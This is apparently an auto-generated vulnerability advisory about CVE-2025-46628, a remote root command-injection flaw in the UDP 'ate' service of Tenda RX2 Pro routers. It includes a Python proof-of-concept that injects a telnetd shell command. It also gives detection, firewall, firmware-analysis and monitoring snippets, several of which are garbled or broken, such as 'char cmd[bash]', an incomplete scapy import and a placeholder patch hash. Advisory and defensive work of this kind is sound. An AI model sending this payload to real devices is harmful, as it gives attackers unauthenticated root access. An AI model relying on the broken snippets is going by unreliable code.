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How CVE-2025-46628 Works
The vulnerability exists in the ‘ate’ management service of Tenda RX2 Pro firmware version 16.03.30.14. The service fails to properly validate/sanitize UDP packet inputs, allowing attackers to craft malicious packets containing shell commands. When these packets are sent to port 1616 (default ate service port), the device executes the payload with root privileges. The attack requires no authentication and can be performed remotely when the ate service is enabled (default configuration). The vulnerability stems from improper bounds checking in the packet processing routine, where user-controlled data is directly passed to system() calls without sanitization.
DailyCVE Form
Platform: Tenda RX2 Pro
Version: 16.03.30.14
Vulnerability: RCE via UDP
Severity: Critical
Date: 2025-05-27
Prediction: Patch by 2025-06-30
What Undercode Say:
Exploit POC (simplified) import socket target = "192.168.1.1" port = 1616 payload = b"ATE_TEST_CMD|$(telnetd -l /bin/sh)" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target, port))
Detection Command nmap -sU -p 1616 --script tenda-ate-check <target_ip>
Mitigation Workaround import iptc chain = iptc.Chain(iptc.Table(iptc.Table.FILTER), "INPUT") rule = iptc.Rule() rule.protocol = "udp" rule.target = iptc.Target(rule, "DROP") match = iptc.Match(rule, "udp") match.dport = "1616" rule.add_match(match) chain.insert_rule(rule)
// Vulnerable Code Pattern (reconstructed)
void process_ate_packet(char udp_data) {
char cmd[bash];
snprintf(cmd, sizeof(cmd), "ATE_%s", udp_data); // No length check
system(cmd); // Direct execution
}
Firmware Analysis
binwalk -Me RX2_16.03.30.14.bin
grep -r "system(" squashfs-root/
Patch Verification Script import subprocess def check_patch(): result = subprocess.run(["md5sum", "/usr/bin/ate_svc"], capture_output=True) return "a1b2c3d4" in result.stdout Expected patched hash
Temporary Protection iptables -A INPUT -p udp --dport 1616 -j DROP sysctl -w net.ipv4.conf.all.accept_redirects=0
Network Monitoring
from scapy.all import
def monitor(pkt):
if pkt.haslayer(UDP) and pkt[bash].dport == 1616:
alert("Potential CVE-2025-46628 exploit detected")
sniff(filter="udp", prn=monitor)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
